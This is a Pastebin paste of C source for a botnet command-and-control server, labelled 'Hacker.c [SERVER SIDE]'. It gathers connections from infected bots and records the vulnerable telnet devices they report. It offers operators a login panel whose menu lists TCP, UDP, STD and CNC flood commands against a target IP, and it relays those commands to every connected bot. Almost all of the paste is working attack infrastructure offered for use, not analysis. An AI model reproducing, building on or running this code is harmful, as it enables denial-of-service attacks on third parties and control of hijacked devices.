DevilsExpl0its

Hacker.c [SERVER SIDE]

Jul 21st, 2017
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.55 KB | None | 0 0
  1. //Credits to Demented
  2. //Credits to Demented
  3. //CONNECTION HANDLER MODIFIED BY Jonah
  4. //make a hackers.txt for logins
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <sys/types.h>
  9. #include <sys/socket.h>
  10. #include <netdb.h>
  11. #include <unistd.h>
  12. #include <time.h>
  13. #include <fcntl.h>
  14. #include <sys/epoll.h>
  15. #include <errno.h>
  16. #include <pthread.h>
  17. #include <signal.h>
  18. #define HACKERZ "V1"
  19. #define MAXFDS 1000000
  20. char *colorCodes[] = {"31m", "32m", "33m", "34m", "35m", "36m"};
  21. char *ports[] = {"80", "3075", "443", "22", "53", "3074", "23", "8080"};
  22. struct account {
  23. char id[20];
  24. char password[20];
  25. };
  26. static struct account accounts[50];
  27. struct clientdata_t {
  28. uint32_t ip;
  29. char build[7];
  30. char connected;
  31. } clients[MAXFDS];
  32. struct telnetdata_t {
  33. int connected;
  34. int hax;
  35. } managements[MAXFDS];
  36. static volatile FILE *telFD;
  37. static volatile FILE *fileFD;
  38. static volatile int epollFD = 0;
  39. static volatile int listenFD = 0;
  40. static volatile int managesConnected = 0;
  41. static volatile int TELFound = 0;
  42. static volatile int scannerreport;
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  44. {
  45. int total = 0, got = 1;
  46. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  47. return got;
  48. }
  49. void trim(char *str)
  50. {
  51. int i;
  52. int begin = 0;
  53. int end = strlen(str) - 1;
  54. while (isspace(str[begin])) begin++;
  55. while ((end >= begin) && isspace(str[end])) end--;
  56. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  57. str[i - begin] = '\0';
  58. }
  59. static int make_socket_non_blocking (int sfd)
  60. {
  61. int flags, s;
  62. flags = fcntl (sfd, F_GETFL, 0);
  63. if (flags == -1)
  64. {
  65. perror ("fcntl");
  66. return -1;
  67. }
  68. flags |= O_NONBLOCK;
  69. s = fcntl (sfd, F_SETFL, flags);
  70. if (s == -1)
  71. {
  72. perror ("fcntl");
  73. return -1;
  74. }
  75. return 0;
  76. }
  77. int hackz;
  78. static int create_and_bind (char *port)
  79. {
  80. struct addrinfo hints;
  81. struct addrinfo *result, *rp;
  82. int s, sfd;
  83. memset (&hints, 0, sizeof (struct addrinfo));
  84. hints.ai_family = AF_UNSPEC;
  85. hints.ai_socktype = SOCK_STREAM;
  86. hints.ai_flags = AI_PASSIVE;
  87. s = getaddrinfo (NULL, port, &hints, &result);
  88. if (s != 0)
  89. {
  90. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  91. return -1;
  92. }
  93. for (rp = result; rp != NULL; rp = rp->ai_next)
  94. {
  95. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  96. if (sfd == -1) continue;
  97. int yes = 1;
  98. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  99. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  100. if (s == 0)
  101. {
  102. break;
  103. }
  104. close (sfd);
  105. }
  106. if (rp == NULL)
  107. {
  108. fprintf (stderr, "Could not bind\n");
  109. return -1;
  110. }
  111. freeaddrinfo (result);
  112. return sfd;
  113. }
  114. void broadcast(char *msg, int us, char *sender)
  115. {
  116. int sendMGM = 1;
  117. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  118. char *wot = malloc(strlen(msg) + 10);
  119. memset(wot, 0, strlen(msg) + 10);
  120. strcpy(wot, msg);
  121. trim(wot);
  122. time_t rawtime;
  123. struct tm * timeinfo;
  124. time(&rawtime);
  125. timeinfo = localtime(&rawtime);
  126. char *timestamp = asctime(timeinfo);
  127. trim(timestamp);
  128. int i;
  129. for(i = 0; i < MAXFDS; i++)
  130. {
  131. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  132. if(sendMGM && managements[i].connected)
  133. {
  134. send(i, "\x1b[36m", 5, MSG_NOSIGNAL);
  135. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  136. send(i, ": ", 2, MSG_NOSIGNAL);
  137. }
  138. printf("sent to fd: %d\n", i);
  139. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  140. char *root1[1024];
  141. sprintf(root1, "\r\n\x1b[%s-> \x1b[37m ", colorCodes[rand() % 6]);
  142. if(sendMGM && managements[i].connected) send(i, root1, strlen(root1), MSG_NOSIGNAL);
  143. else send(i, "\n", 1, MSG_NOSIGNAL);
  144. }
  145. free(wot);
  146. }
  147. void *epollEventLoop(void *useless)
  148. {
  149. struct epoll_event event;
  150. struct epoll_event *events;
  151. int s;
  152. events = calloc (MAXFDS, sizeof event);
  153. while (1)
  154. {
  155. int n, i;
  156. n = epoll_wait (epollFD, events, MAXFDS, -1);
  157. for (i = 0; i < n; i++)
  158. {
  159. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  160. {
  161. clients[events[i].data.fd].connected = 0;
  162. close(events[i].data.fd);
  163. continue;
  164. }
  165. else if (listenFD == events[i].data.fd)
  166. {
  167. while (1)
  168. {
  169. struct sockaddr in_addr;
  170. socklen_t in_len;
  171. int infd, ipIndex;
  172. in_len = sizeof in_addr;
  173. infd = accept (listenFD, &in_addr, &in_len);
  174. if (infd == -1)
  175. {
  176. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  177. else
  178. {
  179. perror ("accept");
  180. break;
  181. }
  182. }
  183. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  184. int dup = 0;
  185. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  186. {
  187. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  188. if(clients[ipIndex].ip == clients[infd].ip)
  189. {
  190. dup = 1;
  191. break;
  192. }
  193. }
  194. if(dup)
  195. {
  196. if(send(infd, "!* KICKMEPLS\r\n", 14, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  197. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  198. close(infd);
  199. continue;
  200. }
  201. s = make_socket_non_blocking (infd);
  202. if (s == -1) { close(infd); break; }
  203. event.data.fd = infd;
  204. event.events = EPOLLIN | EPOLLET;
  205. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  206. if (s == -1)
  207. {
  208. perror ("epoll_ctl");
  209. close(infd);
  210. break;
  211. }
  212. clients[infd].connected = 1;
  213. //send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  214. }
  215. continue;
  216. }
  217. else
  218. {
  219. int thefd = events[i].data.fd;
  220. struct clientdata_t *client = &(clients[thefd]);
  221. int done = 0;
  222. client->connected = 1;
  223. while (1)
  224. {
  225. int cheats;
  226. ssize_t count;
  227. char buf[2048];
  228. memset(buf, 0, sizeof buf);
  229. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  230. {
  231. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  232. trim(buf);
  233. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  234. {
  235. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  236. continue;
  237. }
  238. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  239. {
  240. char *line = strstr(buf, "REPORT ") + 7;
  241. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  242. fflush(telFD);
  243. TELFound++;
  244. continue;
  245. }
  246. if(strstr(buf, "PROBING") == buf)
  247. {
  248. char *line = strstr(buf, "PROBING");
  249. scannerreport = 1;
  250. continue;
  251. }
  252. if(strstr(buf, "REMOVING PROBE") == buf)
  253. {
  254. char *line = strstr(buf, "REMOVING PROBE");
  255. scannerreport = 0;
  256. continue;
  257. }
  258. if(strcmp(buf, "PONG") == 0)
  259. {
  260. continue;
  261. }
  262. printf("buf: \"%s\"\n", buf);
  263. }
  264. if (count == -1)
  265. {
  266. if (errno != EAGAIN)
  267. {
  268. done = 1;
  269. }
  270. break;
  271. }
  272. else if (count == 0)
  273. {
  274. done = 1;
  275. break;
  276. }
  277. }
  278. if (done)
  279. {
  280. client->connected = 0;
  281. close(thefd);
  282. }
  283. }
  284. }
  285. }
  286. }
  287. unsigned int clientsConnected()
  288. {
  289. int i = 0, total = 0;
  290. for(i = 0; i < MAXFDS; i++)
  291. {
  292. if(!clients[i].connected) continue;
  293. total++;
  294. }
  295. return total;
  296. }
  297. void *titleWriter(void *sock)
  298. {
  299. int thefd = (int)sock;
  300. char string[2048];
  301. while(1)
  302. {
  303. memset(string, 0, 2048);
  304. sprintf(string, "%c]0;[+] Bullets: %d [-] Slaves Online: %d [+]%c", '\033', clientsConnected(), managesConnected, '\007');
  305. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  306. sleep(2);
  307. }
  308. }
  309. int Search_in_File(char *str)
  310. {
  311. FILE *fp;
  312. int line_num = 0;
  313. int find_result = 0, find_line=0;
  314. char temp[512];
  315. if((fp = fopen("hackers.txt", "r")) == NULL){
  316. return(-1);
  317. }
  318. while(fgets(temp, 512, fp) != NULL){
  319. if((strstr(temp, str)) != NULL){
  320. find_result++;
  321. find_line = line_num;
  322. }
  323. line_num++;
  324. }
  325. if(fp)
  326. fclose(fp);
  327. if(find_result == 0)return 0;
  328. return find_line;
  329. }
  330. void *telnetWorker(void *sock)
  331. {
  332. char usernames[80];
  333. int thefd = (int)sock;
  334. int find_line;
  335. managesConnected++;
  336. pthread_t title;
  337. char counter[2048];
  338. memset(counter, 0, 2048);
  339. char buf[2048];
  340. char* nickstring;
  341. char* username;
  342. char* password;
  343. memset(buf, 0, sizeof buf);
  344. char hackz[2048];
  345. memset(hackz, 0, 2048);
  346. FILE *fp;
  347. int i=0;
  348. int c;
  349. fp=fopen("hackers.txt", "r"); // format: user pass
  350. while(!feof(fp))
  351. {
  352. c=fgetc(fp);
  353. ++i;
  354. }
  355. int j=0;
  356. rewind(fp);
  357. while(j!=i-1)
  358. {
  359. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  360. ++j;
  361. }
  362. sprintf(hackz, "\x1b[%sUsername:\x1b[30m ", colorCodes[(rand() % 6)]);
  363. if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  364. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  365. trim(buf);
  366. sprintf(usernames, buf);
  367. nickstring = ("%s", buf);
  368. find_line = Search_in_File(nickstring);
  369. if(strcmp(nickstring, accounts[find_line].id) == 0){
  370. sprintf(hackz, "\x1b[%sPassword:\x1b[30m ", colorCodes[(rand() % 6)]);
  371. if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  372. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  373. trim(buf);
  374. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  375. memset(buf, 0, 2048);
  376. goto hacker;
  377. }
  378. failed:
  379. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  380. if(send(thefd, "\x1b[36m Attempting To Log IP Address\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  381. sleep(2);
  382. if(send(thefd, "\x1b[36m Successfully Logged Bye Bitch\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  383. sleep(2);
  384. goto end;
  385. hacker:
  386. if (send(thefd, "\x1b[36mLoading Banner Please Wait\r\n", 35, MSG_NOSIGNAL) == -1) goto end;
  387. sleep(2);
  388. pthread_create(&title, NULL, &titleWriter, sock);
  389. sprintf(hackz, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  390. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  391. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;//im a hacker hehehe
  392. if (send(thefd, " `7MMF' `7MMF' `7MM OO\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  393. if (send(thefd, " MM MM MM 88\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  394. if (send(thefd, " MM MM ,6'Yb. ,p6'bo MM ,MP'.gP'Ya `7Mb,od8 ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  395. if (send(thefd, " MMmmmmmmMM 8) MM 6M' OO MM ;Y ,M' Yb MM' '' ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  396. if (send(thefd, " MM MM ,pm9MM 8M MM;Mm 8M'''''' MM `'\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  397. if (send(thefd, " MM MM 8M MM YM. , MM `Mb.YM. , MM ,,\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  398. if (send(thefd, " .JMML. .JMML.`Moo9^Yo.YMbmd'.JMML. YA.`Mbmmd'.JMML. db \r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  399. sprintf(hackz, "\r\n \x1b[37m[+]-\x1b[%sWelcome %s To The Hacker Net\x1b[37m-[+]\r\n\r\n\x1b[36mPleas Type RULES: \x1b[37m", colorCodes[(rand() % 6)], usernames);
  400. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  401. pthread_create(&title, NULL, &titleWriter, sock);
  402. managements[thefd].connected = 1;
  403. while(fdgets(buf, sizeof buf, thefd) > 0)
  404. {
  405. if (strncmp(buf, "SHOW", 4) == 0 || strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0)
  406. {
  407. sprintf(hackz, "[\x1b[36m+\x1b[37m] Bullets: %d [\x1b[31m-\x1b[37m] Slaves Online: %d [\x1b[36m+\x1b[37m]\r\n", clientsConnected(), managesConnected);
  408. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  409. }
  410. if (strncmp(buf, "status", 6) == 0 || strncmp(buf, "STATUS", 6) == 0)
  411. {
  412. sprintf(hackz, "[\x1b[36m+\x1b[37m] Telnet devices: %d [\x1b[31m-\x1b[37m] Telnet status: % [\x1b[36m+\x1b[37m]\r\n", TELFound, scannerreport);
  413. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  414. }
  415. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  416. {
  417. sprintf(hackz, "[\x1b[36m+\x1b[37m] Successfully Sent Attack [\x1b[36m+\x1b[37m]\r\n");
  418. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  419. }
  420. if (strncmp(buf, "rules", 5) == 0 || strncmp(buf, "RULES", 5) == 0)
  421. {
  422. sprintf(hackz, "Please Read The Following Rules if not will result in ban\r\n1.) DO NOT SHARE YOUR ACCOUNT INFO \r\n2.) DO NOT SPAM THE NET\r\n3.) Dont hit any goverment websites\r\n");
  423. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  424. }
  425. if (strncmp(buf, "HELP", 4) == 0 || strncmp(buf, "help", 4) == 0 || strncmp(buf, "menu", 4) == 0)
  426. {
  427. sprintf(hackz, "\x1b[37m[+\x1b[36m]Attack Commands----------------------------------\x1b[37m\r\n");
  428. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  429. sprintf(hackz, "\x1b[37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n");
  430. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  431. sprintf(hackz, "\x1b[37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n");
  432. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  433. sprintf(hackz, "\x1b[37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  434. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  435. sprintf(hackz, "\x1b[37m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n");
  436. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  437. sprintf(hackz, "\x1b[37m[+]\x1b[36mExtra Commands-----------------------------------\x1b[37m\r\n");
  438. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  439. sprintf(hackz, "\x1b[37m!* KILLATTK | KILLS ALL ATTACKS\r\n");
  440. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  441. sprintf(hackz, "\x1b[37m!* PORT_SCAN IP | MAKE SURE TO PUT THE IP AT THE END\r\n");
  442. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  443. sprintf(hackz, "\x1b[37m[+]\x1b[36mTerminal Commands----------------------------------\x1b[37m\r\n");
  444. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  445. sprintf(hackz, "\x1b[37mBOTS | SHOWS BOT COUNT\r\n");
  446. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  447. sprintf(hackz, "\x1b[37mCLS | CLEARS YOUR SCREEN\r\n");
  448. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  449. }
  450. if(strstr(buf, "PORT_SCAN")) {
  451. sleep(2);
  452. sprintf(hackz, "Open Ports %s, %s\r\n", ports[(rand() % 8)], ports[(rand() % 8)]);
  453. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  454. }
  455. if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0)
  456. {
  457. sprintf(hackz, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  458. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  459. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  460. if (send(thefd, " `7MMF' `7MMF' `7MM OO\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  461. if (send(thefd, " MM MM MM 88\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  462. if (send(thefd, " MM MM ,6'Yb. ,p6'bo MM ,MP'.gP'Ya `7Mb,od8 ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  463. if (send(thefd, " MMmmmmmmMM 8) MM 6M' OO MM ;Y ,M' Yb MM' '' ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  464. if (send(thefd, " MM MM ,pm9MM 8M MM;Mm 8M'''''' MM `'\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  465. if (send(thefd, " MM MM 8M MM YM. , MM `Mb.YM. , MM ,,\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  466. if (send(thefd, " .JMML. .JMML.`Moo9^Yo.YMbmd'.JMML. YA.`Mbmmd'.JMML. db \r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  467. sprintf(hackz, "\r\n \x1b[37m[+]-\x1b[%sWelcome %s To The Hacker Net\x1b[37m-[+]\r\n\r\n", colorCodes[(rand() % 6)], usernames);
  468. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  469. pthread_create(&title, NULL, &titleWriter, sock);
  470. managements[thefd].connected = 1;
  471. }
  472. if (strncmp(buf, "exit", 4) == 0 || strncmp(buf, "EXIT", 4) == 0 || strncmp(buf, "LOGOUT", 6) == 0)
  473. {
  474. goto end;
  475. }
  476. if (strncmp(buf, "2000", 4) == 0 || strncmp(buf, "2100", 4) == 0 || strncmp(buf, "2200", 4) == 0 || strncmp(buf, "2300", 4) == 0 || strncmp(buf, "2400", 4) == 0 || strncmp(buf, "2500", 4) == 0)
  477. {
  478. printf("Over Time By %s\n", accounts[find_line].id, buf);
  479. FILE *logFile;
  480. logFile = fopen("OverTime.log", "a");
  481. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  482. fclose(logFile);
  483. goto end;
  484. }
  485. if(strstr(buf, "LOLNOGTFO"))
  486. {
  487. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  488. FILE *logFile;
  489. logFile = fopen("KILL.log", "a");
  490. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  491. fclose(logFile);
  492. goto end;
  493. }
  494. if(strstr(buf, "SH"))
  495. {
  496. printf("ATTEMPT TO SH BOTS BY %s\n", accounts[find_line].id, buf);
  497. FILE *logFile;
  498. logFile = fopen("SH.log", "a");
  499. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  500. fclose(logFile);
  501. goto end;
  502. }
  503. trim(buf);
  504. char *root2[1024];
  505. sprintf(root2, "\x1b[%s->\x1b[0;37m ", colorCodes[rand() % 5]);
  506. if(send(thefd, root2, strlen(root2), MSG_NOSIGNAL) == -1) goto end;
  507. if(strlen(buf) == 0) continue;
  508. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  509. FILE *logFile;
  510. logFile = fopen("report.log", "a");
  511. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  512. fclose(logFile);
  513. broadcast(buf, thefd, usernames);
  514. memset(buf, 0, 2048);
  515. }
  516. end: // cleanup dead socket
  517. managements[thefd].connected = 0;
  518. close(thefd);
  519. managesConnected--;
  520. }
  521. void *telnetListener(int port)
  522. {
  523. int sockfd, newsockfd;
  524. socklen_t clilen;
  525. struct sockaddr_in serv_addr, cli_addr;
  526. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  527. if (sockfd < 0) perror("ERROR opening socket");
  528. bzero((char *) &serv_addr, sizeof(serv_addr));
  529. serv_addr.sin_family = AF_INET;
  530. serv_addr.sin_addr.s_addr = INADDR_ANY;
  531. serv_addr.sin_port = htons(port);
  532. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  533. listen(sockfd,5);
  534. clilen = sizeof(cli_addr);
  535. while(1)
  536. {
  537. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  538. if (newsockfd < 0) perror("ERROR on accept");
  539. pthread_t thread;
  540. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  541. }
  542. }
  543. int main (int argc, char *argv[], void *sock)
  544. {
  545. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  546. int s, threads, port;
  547. struct epoll_event event;
  548. if (argc != 4)
  549. {
  550. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  551. exit (EXIT_FAILURE);
  552. }
  553. port = atoi(argv[3]);
  554. printf("\x1b[33mHacka Shit By Jonah\x1b[0m\n");
  555. telFD = fopen("telnet.txt", "a+");
  556. threads = atoi(argv[2]);
  557. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  558. if (listenFD == -1) abort ();
  559. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  560. if (s == -1) abort ();
  561. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  562. if (s == -1)
  563. {
  564. perror ("listen");
  565. abort ();
  566. }
  567. epollFD = epoll_create1 (0);
  568. if (epollFD == -1)
  569. {
  570. perror ("epoll_create");
  571. abort ();
  572. }
  573. event.data.fd = listenFD;
  574. event.events = EPOLLIN | EPOLLET;
  575. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  576. if (s == -1)
  577. {
  578. perror ("epoll_ctl");
  579. abort ();
  580. }
  581. pthread_t thread[threads + 2];
  582. while(threads--)
  583. {
  584. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL);
  585. }
  586. pthread_create(&thread[0], NULL, &telnetListener, port);
  587. while(1)
  588. {
  589. broadcast("PING", -1, "HACKER");
  590. sleep(60);
  591. }
  592. close (listenFD);
  593. return EXIT_SUCCESS;
  594. }
Add Comment
Please, Sign In to add comment